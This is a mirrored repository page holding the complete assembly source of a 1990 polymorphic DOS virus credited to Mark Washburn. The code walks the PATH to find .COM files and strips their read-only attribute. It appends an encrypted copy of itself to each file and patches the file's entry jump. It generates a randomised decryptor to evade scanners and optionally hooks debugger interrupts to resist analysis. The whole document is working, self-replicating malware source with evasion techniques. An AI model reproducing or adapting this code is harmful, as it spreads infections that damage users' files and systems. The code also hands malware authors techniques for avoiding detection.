mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
776 lines
24 KiB
NASM
776 lines
24 KiB
NASM
;
|
||
;
|
||
; Copyright (C) Mark Washburn, 1990. All Rights Reserved
|
||
;
|
||
;
|
||
; Inquires are directed to :
|
||
; Mark Washburn
|
||
; 4656 Polk Street NE
|
||
; Columbia Heights, MN 55421
|
||
; USA
|
||
;
|
||
;
|
||
;
|
||
;
|
||
code segment public 'CODE'
|
||
org 100h
|
||
;
|
||
assume cs:code,ds:code,es:code
|
||
;
|
||
|
||
;stopdebug equ 1 ; define this for disassembly trap code
|
||
int1vec equ 4
|
||
int3vec equ 12
|
||
;
|
||
dta_ptr equ -4
|
||
file_crea equ -8
|
||
file_attr equ -10
|
||
path_start_ptr equ -12
|
||
file_start_ptr equ -14
|
||
RAND_SEED equ -16
|
||
ptr1 equ -18 ; pointer to start of loop code
|
||
ptr2 equ -20 ; save data_begin pointer
|
||
dat1 equ -22 ; the random code used
|
||
dat2 equ -24 ; the decode length plus random length offset, max_msk
|
||
; to make the decode routine more difficult to detect
|
||
dat3 equ -26 ; the 'necessary crypt code' mask
|
||
;
|
||
IFNDEF stopdebug
|
||
local_stack equ 26
|
||
max_msk equ 0ffh ; this determines the maximum variance of length
|
||
ELSE
|
||
nobugptr equ -28
|
||
oldint3 equ -32
|
||
oldint1 equ -36
|
||
local_stack equ 36
|
||
max_msk equ 0ffh ; this determines the maximum variance of length
|
||
ENDIF
|
||
;
|
||
;
|
||
;
|
||
doscall macro call_type
|
||
ifnb <call_type>
|
||
mov ah, call_type
|
||
endif
|
||
int 21h
|
||
endm
|
||
;
|
||
setloc macro arg1,reg2
|
||
mov [bp + arg1],reg2
|
||
endm
|
||
;
|
||
getloc macro reg1,arg2
|
||
mov reg1,[bp + arg2]
|
||
endm
|
||
;
|
||
setdat macro arg1,reg2
|
||
mov [si + offset arg1 - offset data_begin],reg2
|
||
endm
|
||
;
|
||
getdat macro reg1,arg2
|
||
mov reg1,[si + offset arg2 - offset data_begin]
|
||
endm
|
||
;
|
||
regofs macro reg1,arg2
|
||
mov reg1,si
|
||
add reg1,offset (arg2 - data_begin)
|
||
endm
|
||
;
|
||
NOBUG1 macro
|
||
IFDEF stopdebug
|
||
INT 3
|
||
NOP
|
||
ENDIF
|
||
endm
|
||
;
|
||
nobug2 macro
|
||
IFDEF stopdebug
|
||
INT 3
|
||
ENDIF
|
||
endm
|
||
;
|
||
;
|
||
start:
|
||
jmp entry
|
||
;
|
||
;
|
||
;
|
||
MOV AH,0
|
||
INT 021h ; program code
|
||
; db 600h-6 dup (0)
|
||
; insert utility code here
|
||
;
|
||
entry:
|
||
|
||
|
||
IFDEF stopdebug
|
||
call precrypt
|
||
db 36 dup (090h) ; calculated length of offset(t41-t10)
|
||
ELSE
|
||
db 39 dup (090h) ; calculated length of offset(t41-t10)
|
||
ENDIF
|
||
;
|
||
; label the start of encoded section
|
||
entry2:
|
||
|
||
|
||
|
||
|
||
|
||
|
||
INCLUDE utility.asm <------- Manipulation Task Goes Here!
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
mov bp,sp ; allocate locals
|
||
sub sp,local_stack
|
||
;
|
||
push cx
|
||
movcmd: ; this label is used to locate the next instruction
|
||
mov dx,offset data_begin
|
||
setloc ptr2,dx ; save - will be modified in 'gencode'
|
||
IFDEF stopdebug
|
||
;
|
||
; save interrupt 1 and 3 vectors
|
||
;
|
||
push ds
|
||
mov ax,0
|
||
push ax
|
||
pop ds
|
||
cli
|
||
mov ax,ds:[int1vec]
|
||
setloc oldint1,ax
|
||
mov ax,ds:[int1vec+2]
|
||
setloc oldint1+2,ax
|
||
mov ax,ds:[int3vec]
|
||
setloc oldint3,ax
|
||
mov ax,ds:[int3vec+2]
|
||
setloc oldint3+2,ax
|
||
sti
|
||
pop ds
|
||
;
|
||
call bugon
|
||
ENDIF
|
||
mov si,dx
|
||
add si,(offset old_code - offset data_begin)
|
||
mov di,0100h
|
||
mov cx,03h
|
||
cld
|
||
repz movsb
|
||
mov si,dx
|
||
doscall 30h ; check DOS version
|
||
cmp al,0
|
||
NOBUG1 ; 0
|
||
jnz cont1 ; DOS > 2.0
|
||
jmp exit
|
||
cont1:
|
||
push es
|
||
doscall 2fh ; get program DTA
|
||
NOBUG1 ; 0
|
||
setloc dta_ptr,bx
|
||
NOBUG1 ; 0
|
||
setloc dta_ptr+2,es
|
||
pop es
|
||
regofs dx,my_dta
|
||
doscall 1ah ; set new DTA
|
||
push es
|
||
push si
|
||
mov es,ds:[02ch] ; environment address
|
||
mov di,0
|
||
loop1:
|
||
pop si
|
||
push si
|
||
add si,(offset path_chars - offset data_begin)
|
||
lodsb
|
||
mov cx,8000h
|
||
repnz scasb
|
||
mov cx,4
|
||
loop2:
|
||
lodsb
|
||
scasb
|
||
jnz loop1
|
||
loop loop2
|
||
pop si
|
||
pop es
|
||
setloc path_start_ptr,di
|
||
mov bx,si
|
||
add si,offset (file_name-data_begin)
|
||
mov di,si
|
||
jmp cont6
|
||
nobug2
|
||
next_path:
|
||
cmp word ptr [bp + path_start_ptr],0
|
||
jnz cont3
|
||
jmp exit2
|
||
nobug2
|
||
cont3:
|
||
push ds
|
||
push si
|
||
mov ds,es:[002ch]
|
||
|
||
mov di,si
|
||
mov si,es:[bp+path_start_ptr]
|
||
add di,offset (file_name-data_begin)
|
||
loop3:
|
||
lodsb
|
||
cmp al,';' ; 3bh
|
||
jz cont4
|
||
cmp al,0
|
||
jz cont5
|
||
stosb
|
||
jmp loop3
|
||
nobug2
|
||
cont5:
|
||
mov si,0
|
||
cont4:
|
||
pop bx
|
||
pop ds
|
||
mov [bp+path_start_ptr],si
|
||
cmp ch,0ffh
|
||
jz cont6
|
||
mov al,'\' ; 5ch
|
||
stosb
|
||
cont6:
|
||
mov [bp+file_start_ptr],di
|
||
mov si,bx
|
||
add si,(offset com_search-offset data_begin)
|
||
mov cx,6
|
||
repz movsb
|
||
mov si,bx
|
||
mov ah,04eh
|
||
regofs dx,file_name
|
||
mov cx,3
|
||
doscall
|
||
jmp cont7
|
||
nobug2
|
||
next_file:
|
||
doscall 04fh
|
||
cont7:
|
||
jnb cont8
|
||
jmp next_path
|
||
nobug2
|
||
cont8:
|
||
mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
|
||
and al,01fh
|
||
cmp al,01fh
|
||
jz next_file
|
||
IFNDEF stopdebug
|
||
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
|
||
; file length compared; need 1.5 k spare, see rnd off
|
||
ELSE
|
||
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
|
||
ENDIF
|
||
jz next_file ; with virus length
|
||
cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah
|
||
; file to short
|
||
jz next_file
|
||
mov di,[bp+file_start_ptr]
|
||
push si
|
||
add si,offset(my_dta-data_begin+01eh)
|
||
move_name:
|
||
lodsb
|
||
stosb
|
||
cmp al,0
|
||
jnz move_name
|
||
pop si
|
||
mov ax,04300h
|
||
regofs dx,file_name
|
||
doscall
|
||
setloc file_attr,cx
|
||
mov ax,04301h
|
||
and cx,0fffeh
|
||
regofs dx,file_name
|
||
doscall
|
||
mov ax,03d02h
|
||
regofs dx,file_name
|
||
doscall
|
||
jnb cont9
|
||
jmp exit3
|
||
nobug2
|
||
cont9:
|
||
mov bx,ax
|
||
mov ax,05700h
|
||
doscall
|
||
setloc file_crea,cx
|
||
setloc file_crea+2,dx
|
||
cont10:
|
||
mov ah,3fh
|
||
mov cx,3
|
||
regofs dx,old_code
|
||
doscall
|
||
NOBUG1 ; 1
|
||
jb cont98
|
||
NOBUG1
|
||
cmp ax,3
|
||
NOBUG1
|
||
jnz cont98
|
||
NOBUG1
|
||
mov ax,04202h
|
||
NOBUG1 ;1
|
||
mov cx,0
|
||
mov dx,0
|
||
doscall
|
||
jnb cont99
|
||
cont98:
|
||
jmp exit4
|
||
cont99:
|
||
NOBUG1 ; 2
|
||
push bx ; save file handle
|
||
NOBUG1
|
||
mov cx,ax
|
||
push cx
|
||
NOBUG1
|
||
sub ax,3
|
||
NOBUG1
|
||
setdat jump_code+1,ax
|
||
add cx,(offset data_begin-offset entry+0100h)
|
||
NOBUG1
|
||
mov di,si
|
||
NOBUG1
|
||
sub di,offset data_begin-offset movcmd-1
|
||
NOBUG1
|
||
mov [di],cx
|
||
;
|
||
doscall 02ch ; seed the random number generator
|
||
xor dx,cx
|
||
NOBUG1
|
||
setloc rand_seed,dx
|
||
NOBUG1 ; 2
|
||
call random
|
||
NOBUG1 ; 3
|
||
getloc ax,rand_seed
|
||
NOBUG1 ; 3
|
||
and ax,max_msk ; add a random offset to actual length
|
||
NOBUG1 ; 3
|
||
add ax,offset (data_end-entry2) ; set decode length
|
||
NOBUG1 ; 3
|
||
setloc dat2,ax ; save the decode length
|
||
NOBUG1 ; 3
|
||
setdat (t13+1),ax ; set decode length in 'mov cx,xxxx'
|
||
pop cx ; restore the code length of file to be infected
|
||
NOBUG1 ; 3
|
||
add cx,offset (entry2-entry+0100h) ; add the length
|
||
; of uncoded area plus file offset
|
||
setdat (t11+1),cx ; set decode begin in 'mov di,xxxx'
|
||
NOBUG1 ; 3
|
||
call random
|
||
getloc ax,rand_seed
|
||
NOBUG1 ; 3
|
||
setloc dat1,ax ; save this random key in dat1
|
||
setdat (t12+1),ax ; set random key in 'mov ax,xxxx'
|
||
NOBUG1 ; 3
|
||
mov di,si
|
||
NOBUG1 ; 3
|
||
sub di,offset (data_begin-entry)
|
||
NOBUG1 ; 3
|
||
mov bx,si
|
||
add bx,offset (l11-data_begin) ; table L11 address
|
||
mov word ptr [bp+dat3],000000111b ; required routines
|
||
call gen2 ; generate first part of decrypt
|
||
setloc ptr1,di ; save the current counter to resolve 'loop'
|
||
add bx,offset (l21-l11) ; add then next tables' offset
|
||
NOBUG1 ; 3
|
||
mov word ptr [bp+dat3],010000011b ; required plus 'nop'
|
||
NOBUG1 ; 3
|
||
call gen2 ; generate second part of decrypt
|
||
add bx,offset (l31-l21) ; add the next offset
|
||
NOBUG1
|
||
call gen2 ; generate third part of decrypt
|
||
mov cx,2 ; store the loop code
|
||
getloc si,ptr2
|
||
NOBUG1 ; 3
|
||
add si,offset (t40-t10) ; point to the code
|
||
repz movsb ; move the code
|
||
getloc ax,ptr1 ; the loop address pointer
|
||
sub ax,di ; the current address
|
||
dec di ; point to the jump address
|
||
stosb ; resolve the jump
|
||
; fill in the remaining code
|
||
l991:
|
||
getloc cx,ptr2 ; get the data_begin pointer
|
||
sub cx,offset (data_begin-entry2) ; locate last+1 entry
|
||
cmp cx,di ; are we there yet?
|
||
je l992 ; if not then fill some more space
|
||
mov dx,0h ; any code is ok
|
||
call gencode ; generate the code
|
||
jmp l991
|
||
nobug2
|
||
l992:
|
||
getloc si,ptr2 ; restore si to point to data area ;
|
||
push si
|
||
mov di,si
|
||
NOBUG1 ; 4
|
||
mov cx,offset(end1-begin1) ; move code
|
||
add si,offset(begin1-data_begin)
|
||
NOBUG1 ; 4
|
||
add di,offset(data_end-data_begin+max_msk) ; add max_msk
|
||
mov dx,di ; set subroutine start
|
||
repz movsb ; move the code
|
||
pop si
|
||
pop bx ; restore handle
|
||
call setrtn ; find this address
|
||
add ax,06h ; <- the number necessary for proper return
|
||
push ax
|
||
jmp dx ; continue with mask & write code
|
||
; continue here after return from mask & write code
|
||
NOBUG1 ; 4
|
||
jb exit4
|
||
cmp ax,offset(data_end-entry)
|
||
NOBUG1 ; 4
|
||
jnz exit4
|
||
mov ax,04200h
|
||
mov cx,0
|
||
mov dx,0
|
||
doscall
|
||
jb exit4
|
||
mov ah,040h
|
||
mov cx,3
|
||
NOBUG1 ; 4
|
||
regofs dx,jump_code
|
||
doscall
|
||
exit4:
|
||
getloc dx,file_crea+2
|
||
getloc cx,file_crea
|
||
and cx,0ffe0h
|
||
or cx,0001fh
|
||
mov ax,05701h
|
||
doscall
|
||
doscall 03Eh ; close file
|
||
exit3:
|
||
mov ax,04301h
|
||
getloc cx,file_attr
|
||
regofs dx,file_name
|
||
doscall
|
||
exit2:
|
||
push ds
|
||
getloc dx,dta_ptr
|
||
getloc ds,dta_ptr+2
|
||
doscall 01ah
|
||
pop ds
|
||
exit:
|
||
pop cx
|
||
xor ax,ax
|
||
xor bx,bx
|
||
xor dx,dx
|
||
xor si,si
|
||
mov sp,bp ; deallocate locals
|
||
mov di,0100h
|
||
push di
|
||
IFDEF stopdebug
|
||
call bugoff
|
||
ENDIF
|
||
ret
|
||
;
|
||
; common subroutines
|
||
;
|
||
;
|
||
random proc near
|
||
;
|
||
getloc cx,rand_seed ; get the seed
|
||
xor cx,813Ch ; xor random pattern
|
||
add cx,9248h ; add random pattern
|
||
ror cx,1 ; rotate
|
||
ror cx,1 ; three
|
||
ror cx,1 ; times.
|
||
setloc rand_seed,cx ; put it back
|
||
and cx,7 ; ONLY NEED LOWER 3 BITS
|
||
push cx
|
||
inc cx
|
||
xor ax,ax
|
||
stc
|
||
rcl ax,cl
|
||
pop cx
|
||
ret ; return
|
||
;
|
||
random endp
|
||
;
|
||
setrtn proc near
|
||
;
|
||
pop ax ; ret near
|
||
push ax
|
||
ret
|
||
;
|
||
setrtn endp
|
||
;
|
||
gencode proc near
|
||
;
|
||
l999:
|
||
call random
|
||
test dx,ax ; has this code been used yet?
|
||
jnz l999 ; if this code was generated - try again
|
||
or dx,ax ; set the code as used in dx
|
||
mov ax,cx ; the look-up index
|
||
sal ax,1
|
||
push ax
|
||
xlat
|
||
mov cx,ax ; the count of instructions
|
||
pop ax
|
||
inc ax
|
||
xlat
|
||
add ax,[bp+ptr2] ; ax = address of code to be moved
|
||
mov si,ax
|
||
repz movsb ; move the code into place
|
||
ret
|
||
;
|
||
gencode endp
|
||
;
|
||
gen2 proc near
|
||
;
|
||
mov dx,0h ; used code
|
||
l990:
|
||
call gencode
|
||
mov ax,dx ; do we need more code
|
||
and ax,[bp+dat3] ; the mask for the required code
|
||
cmp ax,[bp+dat3]
|
||
jne l990 ; if still need required code - loop again
|
||
ret
|
||
;
|
||
gen2 endp
|
||
;
|
||
IFDEF stopdebug
|
||
doint3:
|
||
push bx
|
||
mov bx,sp
|
||
push ax
|
||
push si
|
||
mov si,word ptr [bx+02]
|
||
inc word ptr [bx+02] ; point to next address
|
||
setloc nobugptr,si
|
||
lodsb ; get the byte following int 3
|
||
xor byte ptr [si],al
|
||
mov al,[bx+7] ; set the trap flag
|
||
or al,1
|
||
mov [bx+7],al
|
||
pop si
|
||
pop ax
|
||
pop bx
|
||
iret
|
||
;
|
||
doint1:
|
||
push bx
|
||
mov bx,sp
|
||
push ax
|
||
push si
|
||
getloc si,nobugptr
|
||
lodsb
|
||
xor byte ptr [si],al
|
||
mov al,[bx+7] ; clear the trap flag
|
||
and al,0feh
|
||
mov [bx+7],al
|
||
pop si
|
||
pop ax
|
||
pop bx
|
||
bugiret:
|
||
iret
|
||
;
|
||
bugon:
|
||
pushf
|
||
push ds
|
||
push ax
|
||
mov ax,0
|
||
push ax
|
||
pop ds
|
||
getloc ax,ptr2
|
||
sub ax,offset(data_begin-doint3)
|
||
cli
|
||
mov ds:[int3vec],ax
|
||
getloc ax,ptr2
|
||
sub ax,offset(data_begin-doint1)
|
||
mov ds:[int1vec],ax
|
||
push cs
|
||
pop ax
|
||
mov ds:[int1vec+2],ax
|
||
mov ds:[int3vec+2],ax
|
||
sti
|
||
pop ax
|
||
pop ds
|
||
popf
|
||
ret
|
||
;
|
||
bugoff:
|
||
pushf
|
||
push ds
|
||
push ax
|
||
mov ax,0
|
||
push ax
|
||
pop ds
|
||
|
||
getloc ax,oldint3
|
||
cli
|
||
mov ds:[int3vec],ax
|
||
getloc ax,oldint1
|
||
mov ds:[int1vec],ax
|
||
getloc ax,oldint1+2
|
||
mov ds:[int1vec+2],ax
|
||
getloc ax,oldint3+2
|
||
mov ds:[int3vec+2],ax
|
||
sti
|
||
|
||
pop ax
|
||
pop ds
|
||
popf
|
||
ret
|
||
;
|
||
ENDIF
|
||
;
|
||
;
|
||
; the data area
|
||
;
|
||
data_begin label near
|
||
;
|
||
T10 LABEL NEAR
|
||
T11: MOV DI,0FFFFH
|
||
T12: MOV AX,0FFFFH
|
||
T13: MOV CX,0FFFFH
|
||
T14: CLC
|
||
T15: CLD
|
||
T16: INC SI
|
||
T17: DEC BX
|
||
T18: NOP
|
||
T19 LABEL NEAR
|
||
;
|
||
T20 LABEL NEAR
|
||
T21: XOR [DI],AX
|
||
T22: XOR [DI],CX
|
||
T23: XOR DX,CX
|
||
T24: XOR BX,CX
|
||
T25: SUB BX,AX
|
||
T26: SUB BX,CX
|
||
T27: SUB BX,DX
|
||
T28: NOP
|
||
T29 LABEL NEAR
|
||
;
|
||
T30 LABEL NEAR
|
||
T31: INC AX
|
||
T32: INC DI
|
||
T33: INC BX
|
||
T34: INC SI
|
||
T35: INC DX
|
||
T36: CLC
|
||
T37: DEC BX
|
||
T38: NOP
|
||
T39 LABEL NEAR
|
||
;
|
||
T40: LOOP T20
|
||
T41 LABEL NEAR
|
||
;
|
||
L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin)
|
||
L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin)
|
||
L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin)
|
||
L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin)
|
||
L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin)
|
||
L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin)
|
||
L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin)
|
||
L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin)
|
||
;
|
||
L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin)
|
||
L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin)
|
||
L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin)
|
||
L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin)
|
||
L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin)
|
||
L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin)
|
||
L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin)
|
||
L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin)
|
||
;
|
||
L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin)
|
||
L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin)
|
||
L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin)
|
||
L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin)
|
||
L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin)
|
||
L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin)
|
||
L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin)
|
||
L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin)
|
||
;
|
||
;
|
||
;
|
||
; this routine is relocated after the end of data area
|
||
; this routine encrypts, writes, and decrypts the virus code
|
||
;
|
||
begin1:
|
||
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
|
||
getloc ax,dat1 ; get decode ket
|
||
mov di,si ; and set the begin encrypt address
|
||
sub di,offset (data_begin-entry2)
|
||
call crypt
|
||
mov ah,040h
|
||
mov cx,offset data_end-offset entry
|
||
mov dx,si
|
||
sub dx,offset data_begin-offset entry
|
||
doscall
|
||
pushf ; save the status of the write
|
||
push ax
|
||
getloc cx,dat2 ; get off (data_end-entry2) plus max_msk
|
||
getloc ax,dat1
|
||
mov di,si
|
||
sub di,offset (data_begin-entry2)
|
||
call crypt
|
||
pop ax ; restore the DOS write's status
|
||
popf
|
||
ret
|
||
;
|
||
crypt:
|
||
xor [di],ax
|
||
xor [di],cx
|
||
inc ax
|
||
inc di
|
||
loop crypt
|
||
ret
|
||
end1:
|
||
;
|
||
; global work space and constants
|
||
;
|
||
old_code: db 090h,090h,090h
|
||
jump_code: db 0e9h,0,0
|
||
com_search: db '*.COM',0
|
||
path_chars: db 'PATH='
|
||
file_name: db 40h DUP (0)
|
||
my_dta: db 2Bh DUP (0)
|
||
db 0,0,0
|
||
|
||
data_end label near
|
||
IFDEF stopdebug
|
||
;
|
||
scan_bytes db 0CCh,090h
|
||
;
|
||
precrypt:
|
||
mov bp,sp ; allocate locals
|
||
sub sp,local_stack
|
||
doscall 02ch ; seed the random number generator
|
||
xor dx,cx
|
||
setloc rand_seed,dx
|
||
call random
|
||
mov di,offset start
|
||
push ds
|
||
pop es
|
||
lp999:
|
||
mov cx,08000h
|
||
mov si,offset scan_bytes
|
||
lodsb
|
||
repnz scasb
|
||
cmp cx,0
|
||
je done998
|
||
cmp di,offset data_end
|
||
jge done998
|
||
lodsb
|
||
scasb
|
||
jnz lp999
|
||
call random
|
||
getloc ax,rand_seed
|
||
dec di
|
||
mov [di],al
|
||
inc di
|
||
xor [di],al
|
||
inc di ; skip the masked byte
|
||
jmp short lp999
|
||
done998:
|
||
mov sp,bp
|
||
ret
|
||
ENDIF
|
||
|
||
code ends
|
||
end start
|
||
|